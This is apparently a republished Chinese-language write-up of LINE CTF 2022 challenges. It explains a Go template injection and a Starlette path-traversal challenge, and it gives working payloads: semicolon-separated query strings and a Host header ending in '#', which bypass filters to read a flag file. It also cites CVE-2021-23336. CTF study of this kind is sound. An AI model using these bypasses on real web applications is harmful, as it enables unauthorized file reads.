LINE CTF 2022 筆記

您所在的位置:网站首页 女用避孕套使用图片视频 LINE CTF 2022 筆記

LINE CTF 2022 筆記

2023-01-20 20:18| 来源: 网络整理| 查看: 265

跟著隊伍 Water Paddler 一起參加了 LINE CTF 2022,在隊友的 carry 之下拿了第七名,這次只有一題有幫上一點忙,其他都被隊友解掉或是卡死。這篇簡單記一下每一題的解法,大部分都參考自 LINE CTF 2022 Writeups by maple3142。

gotm(96 solves)

這題被隊友解掉所以沒仔細看,不過賽後看其他 writeup 是 go 的 SSTI,出現在這裡:

12345acc := get_account(id)tpl, err := template.New("").Parse("Logged in as " + acc.id)if err != nil {}tpl.Execute(w, &acc)

之前沒碰過 go 的 SSTI,稍微筆記一下,可以用 {{.}} 把傳入的物件整個 dump 出來,順便附幾個參考連結:

GO中SSTI研究 Go SSTI初探 Memo Drive(42 solves)

先附上關鍵程式碼:

12345678910111213141516171819def view(request): context = {} try: context['request'] = request clientId = getClientID(request.client.host) if '&' in request.url.query or '.' in request.url.query or '.' in unquote(request.query_params[clientId]): raise filename = request.query_params[clientId] path = './memo/' + "".join(request.query_params.keys()) + '/' + filename f = open(path, 'r') contents = f.readlines() f.close() context['filename'] = filename context['contents'] = contents

這題的 flag 在 ./memo/flag 底下,所以只要想辦法讓上面那一段的 path 可以讀到 flag 就勝利了。

隊友最後用這個 payload:/view?id=flag;%2f%2e%2e/;,因為對 python 太不熟,所以起個簡單的 server 來觀察一下:

123456789101112131415161718192021222324252627282930313233343536from urllib.parse import unquoteimport uvicornfrom starlette.applications import Starlettefrom starlette.routing import Routefrom starlette.responses import JSONResponsedef view(request): try: clientId = "id" print("request.url:", request.url) print("request.url.query", request.url.query) print("params:", request.query_params) print("unquote params:", unquote(request.query_params[clientId])) if '&' in request.url.query or '.' in request.url.query or '.' in unquote(request.query_params[clientId]): raise filename = request.query_params[clientId] print("filename:", filename) print("keys:", request.query_params.keys()) path = './memo/' + "".join(request.query_params.keys()) + '/' + filename print("path:", path) except: pass return JSONResponse({"a":1})routes = [ Route('/view', endpoint=view)]app = Starlette(debug=True, routes=routes)if __name__ == "__main__": uvicorn.run(app, host="0.0.0.0", port=11000)

先來看一下隊友的 payload 會怎樣:/view?id=flag;%2f%2e%2e/;

1234567request.url: http://0.0.0.0:11000/view?id=flag;%2f%2e%2e/;request.url.query id=flag;%2f%2e%2e/;params: id=flag&%2F..%2F=unquote params: flagfilename: flagkeys: dict_keys(['id', '/../'])path: ./memo/id/..//flag

request.url 會直接是 raw URL,沒有 decode 過,然後 request.url.query 也是沒 decode 過的版本,到了 request.query_params 的時候則是被解析成了兩個 params:

id=flag %2F..%2f=

看起來是因為分號 ; 的關係,所以就算不用 & 也可以創造出兩個 params。

而最後在 request.query_params.keys() 的時候被 decode,所以最後合起來就會是 ./memo/id..//flag。

不過在 Discord 上看到其實這樣就好了:id=flag;/%2e%2e,結果會是:

1234567request.url: http://0.0.0.0:11000/view?id=flag;/%2e%2erequest.url.query id=flag;/%2e%2eparams: id=flag&%2F..=unquote params: flagfilename: flagkeys: dict_keys(['id', '/..'])path: ./memo/id/../flag

接著也在 Discord 看到另一個不同的解法(來自 bbangjo#3967),是利用 Host header:

12GET http://0.0.0.0:11000/view?id=flag&/..Host: 0.0.0.0#

就會產生神奇的結果:

1234567request.url: http://0.0.0.0#/view?id=flag&/..request.url.queryparams: id=flag&%2F..=unquote params: flagfilename: flagkeys: dict_keys(['id', '/..'])path: ./memo/id/../flag

雖然 request.url.query 整個變不見了,但是 request.query_params 卻還是有東西,因此就繞過了針對 request.url.query 的檢查。

根據他的說法,因為 request.url 是從 Host header 構造而來的,我們可以翻一下程式碼來驗證,如果沒找錯的話應該是在這:starlette/datastructures.py#L38:

12if host_header is not None: url = f"{scheme}://{host_header}{path}"

因為 Host 被加了個 #,所以後面的 query string 就被當成 fragment 來解析了,而不是 query string,所以 request.url.query 就會是空的。

那為什麼 request.query_params 有東西呢?因為它是直接拿最原始的 query string,而不是 request.url.query,在這邊:starlette/requests.py#L116

12345@propertydef query_params(self) -> QueryParams: if not hasattr(self, "_query_params"): self._query_params = QueryParams(self.scope["query_string"]) return self._query_params

這真的是要看 source code 才會發現這種差異。

2022-03-29 補充:

感謝 @Zedd 提醒,把 ; 當作 & 來看的行為跟 Python 版本有關,因為會引起 cache poisoning 的關係,在較新的版本中都已經修復了,而挑戰時使用的版本是 3.9.0,所以才有這問題,而我在本機重現時用的也是還沒修復的版本。

漏洞編號為 CVE-2021-23336,詳情可看這裡:urllib parse_qsl(): Web cache poisoning - semicolon as a query args separator。

bb(27 solves)

程式碼很短:

123456789101112131415161718192021222324



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3